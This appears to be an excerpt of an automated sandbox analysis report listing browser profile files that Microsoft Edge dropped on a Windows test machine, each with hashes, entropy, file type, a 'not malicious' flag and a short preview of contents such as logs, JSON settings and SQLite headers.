SHA-512:	D3DAD8F58D3C4FD1476F4DBA94FA52A267FE0367364E530B8BA26C96C52690D215C642DEC93EB59EB3F3081DCBAA33AE508D88E08342822E7BFEDDC530E49CB3
Malicious:	false
Preview:	2024/11/20-16:28:25.089 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-16:28:25.090 1e54 Recovering log #3.2024/11/20-16:28:25.090 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1753802618522995
Encrypted:	false
SSDEEP:	6:HHGLsuA1q2PcNwi23oH+Tcwt8NIFUt8YHGLRjZZmw+YHGLRjzkwOcNwi23oH+TcN:ncCvLZYebpFUt8k8Z/+k8z54ZYebqJ
MD5:	633047AF23E691D604B50841A6F98534
SHA1:	5A6301F159468E67856D35EDB2F71F883618AA26
SHA-256:	490E5DA2064672B9D0F09A19ABB355B746CD33474A20EB835FD521E9CEB4A89A
SHA-512:	D3DAD8F58D3C4FD1476F4DBA94FA52A267FE0367364E530B8BA26C96C52690D215C642DEC93EB59EB3F3081DCBAA33AE508D88E08342822E7BFEDDC530E49CB3
Malicious:	false
Preview:	2024/11/20-16:28:25.089 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-16:28:25.090 1e54 Recovering log #3.2024/11/20-16:28:25.090 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21917635620654863
Encrypted:	false
SSDEEP:	3:h+B9tFlljq7A/mhWJFuQ3yy7IOWUgKtdweytllrE9SFcTp4AGbNCV9RUIWS:j75fOltd0Xi99pEYR
MD5:	C961210C5C91E48F190AC6E2C9F604C4
SHA1:	88DBA6317954F0709483E4D375C080B1F6DEBBDF
SHA-256:	31A8A731D89B987E81FCB7078109421CBA0C72D9E7FFCAAA075637614D636E21
SHA-512:	2C0405EF3F7F3758AECB79F92903A7F3BFA965F9EFDBF3E9CC201CA5785394B7C2A9AB236477CED72D27BFE5DEADE36610D4B722E46F2E67653617CD21884B0C
Malicious:	false
Preview:	............G7.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477925491352594
Encrypted:	false
SSDEEP:	384:aj9P04cAjl+QkQerV773pL5P/KbtPCgam6IpRKToaADhf:adGKl+e2V7zP/WF5RKc39
MD5:	BF007275CCD9ED66179BE3FBA0D0A297
SHA1:	B3F7BF26305020D4BB3583EEA38B3CB72BEBC34E
SHA-256:	69EA5D380800FC55AB84C14630826AC96B7223C2A2D9439127B53F604D85D246
SHA-512:	680083219F918A3D8FD5CCAB5B33C8602F7F0DB6553DAB46D95042CE95C2A3D7E66FB28DF2982AEF1B60D41400CBD9FF6CFCCC48CAB362AA376539A8863EDD6B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.2777209675173875
Encrypted:	false
SSDEEP:	12:njvLZYeb8rcHEZrELFUt8kv/+k954ZYeb8rcHEZrEZSJ:njlYeb8nZrExg8k/voYeb8nZrEZe
MD5:	92501803823CC400369046C7D67304D6
SHA1:	94BAED564D6DEFED45C0C09FFB21C78905434961
SHA-256:	7ECB84D14CF4038BDE1866697B3A0CDF144E2979A7313AAE26AF20CDE4416D4D
SHA-512:	1A11E86D3F20D099DB5296735949CE08F123ADAF8DE5CD373EBEE527272583EB630E961A50ADCE9993B09356FD68351F62029A52ACB2FCE231751C64D2ACB1D0
Malicious:	false
Preview:	2024/11/20-16:28:28.907 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-16:28:28.908 1448 Recovering log #3.2024/11/20-16:28:28.908 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.2777209675173875
Encrypted:	false
SSDEEP:	12:njvLZYeb8rcHEZrELFUt8kv/+k954ZYeb8rcHEZrEZSJ:njlYeb8nZrExg8k/voYeb8nZrEZe
MD5:	92501803823CC400369046C7D67304D6
SHA1:	94BAED564D6DEFED45C0C09FFB21C78905434961
SHA-256:	7ECB84D14CF4038BDE1866697B3A0CDF144E2979A7313AAE26AF20CDE4416D4D
SHA-512:	1A11E86D3F20D099DB5296735949CE08F123ADAF8DE5CD373EBEE527272583EB630E961A50ADCE9993B09356FD68351F62029A52ACB2FCE231751C64D2ACB1D0
Malicious:	false
Preview:	2024/11/20-16:28:28.907 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-16:28:28.908 1448 Recovering log #3.2024/11/20-16:28:28.908 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.665499638767021
Encrypted:	false
SSDEEP:	24:SZWgw8O2lEXvXX3XZG8I8WRV03y1x4FMyCWlUlHrkTN5zgFHHmi28/V:SZpw8REXvn3XZG8sRV03Sx4+yCM9+HHn
MD5:	AE55B2CB0FF034247477722373928A21
SHA1:	88D20EC1950C7FD242A740BA73C13411502216C9
SHA-256:	2692345A06C246BFA5B6F2F1814EAB9DC0D083EAA6F549E08773D214A0C12453
SHA-512:	AC0B01AC53EA2AAB60433B4C29F5CC01CA753E528B4E243938577F0E6674B1942EFCDDE2DEC2CFED5CB685893FA3AA82B010EB30B5A8907F0AA40E5F828CE4B6
Malicious:	false
Preview:	H.L..................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732138119733.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732138121121.._https://ntp.msn.com..MUID!.27F5C03F1FAA650B38E3D5021EB364FD.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732138119838,"schedule":[30,-1,-1,28,-1,14,-1],"scheduleFixed":[30,-1,-1,28,-1,14,-1],"simpleSchedule":[17,44,46,40,11,30,31]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732138119694.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241119.367"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 20 2024 16:28:39 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.189583327743212
Encrypted:	false
SSDEEP:	6:HHMkMq2PcNwi23oH+Tcwt8a2jMGIFUt8YHU99Zmw+YHOkwOcNwi23oH+Tcwt8a23:nMJvLZYeb8EFUt8kUz/+kO54ZYeb8bJ
MD5:	AEA6EDD1EB80E1047C3934058F7A9B86
SHA1:	051DBE4BAF2BB5A0ADA0B883E482585AAE0503E2
SHA-256:	684D4EF5B9C3920E08A6A0D468E04E3695ED20358080E4861CD876D227F0FDFA
SHA-512:	B2AC3D8380E2AF629D478BC95DDA8396E49E857D395B9FBA86C487F95980F084F5283B24A1211367B6C7F1F4E2F530961952D79385065AA5EEBBDD2D4338A235
Malicious:	false
Preview:	2024/11/20-16:28:24.646 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-16:28:24.647 1d74 Recovering log #3.2024/11/20-16:28:24.650 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.189583327743212
Encrypted:	false
SSDEEP:	6:HHMkMq2PcNwi23oH+Tcwt8a2jMGIFUt8YHU99Zmw+YHOkwOcNwi23oH+Tcwt8a23:nMJvLZYeb8EFUt8kUz/+kO54ZYeb8bJ
MD5:	AEA6EDD1EB80E1047C3934058F7A9B86
SHA1:	051DBE4BAF2BB5A0ADA0B883E482585AAE0503E2
SHA-256:	684D4EF5B9C3920E08A6A0D468E04E3695ED20358080E4861CD876D227F0FDFA
SHA-512:	B2AC3D8380E2AF629D478BC95DDA8396E49E857D395B9FBA86C487F95980F084F5283B24A1211367B6C7F1F4E2F530961952D79385065AA5EEBBDD2D4338A235
Malicious:	false
Preview:	2024/11/20-16:28:24.646 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-16:28:24.647 1d74 Recovering log #3.2024/11/20-16:28:24.650 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3b6f47fe-9862-45ff-9d94-6e7980136a65.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9adfd03c-1dc8-4f10-8cb8-896cb87a3eb2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7750646071393756
Encrypted:	false
SSDEEP:	192:tTVYoj3iQou6gQv2nw1CqNB3TRXcf0L/ZJVb:VVYojh96gQenw1Cq73VXI0LhJVb
MD5:	EE6DA5407EF67E53B3F02F067EA7E9BE
SHA1:	905C103CAF6F1F256E65444BF20815197154EA8B
SHA-256:	D9B01F56F33FEBB4D7681BFC219C0704E141B094A9C80A606185D117814084CE
SHA-512:	A1754682C7932D039D34DAEEAEE0FEBD747430B8F0398775B2181A8BD75241FB3AD8885126A5E705335D443E1461405A381520D1A1F3D87394B4455FB3E007BF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF37281.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2777525542024182
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cS2Wk:JkIEumQv8m1ccnvS5DHii4GM1a
MD5:	B3ABC465C57B36762BD7F62850B0AE24
SHA1:	EE8799C1FEACE2D642CC00E744CACC57B74C7385
SHA-256:	6F78EEE8FE91EBDD4612FBD33F03D30E80521C145B3A6C7C906E39212A23F578
SHA-512:	E3D2550F2346B623D9D9DBBE40E7C3590E1BD1DF62C0141232904B8E6418CF096ED19ADEFB1E5F69F648A1A57E748577128C683B9550BED552D2E126F5D4AEE8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF26334.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF278b0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b5ca7c95-6403-4878-9d8b-9b9c725ba205.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cb28171e-12be-4097-8dff-9ddac42bf091.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1650
Entropy (8bit):	5.311831115199905
Encrypted:	false
SSDEEP:	48:YcCpfgCzsktsEfc7leeBkBRszVCgHZPYhbyD0:F2fTT2keBkBmTahn
MD5:	F290740C29AA60CA8F052347599A9AF4
SHA1:	02F85B729E8E7F0CF4DF89AB44F6E842AC9ED7D3
SHA-256:	ADA978A93DF393244823AECE1200F9198E997F6C82D2DF4ACF333191EC7F1136
SHA-512:	AE53BC4CE52839B64050AA34B152883181646C1C5ACC88A389FAEC21596E98CBDB18E648164CE604416464602D0061D300B9FE2F119F702D5E95EB74747F7295
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379203708669770","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379203712959805","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d10ad879-e25b-4880-8cf4-e0af73c6c6e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
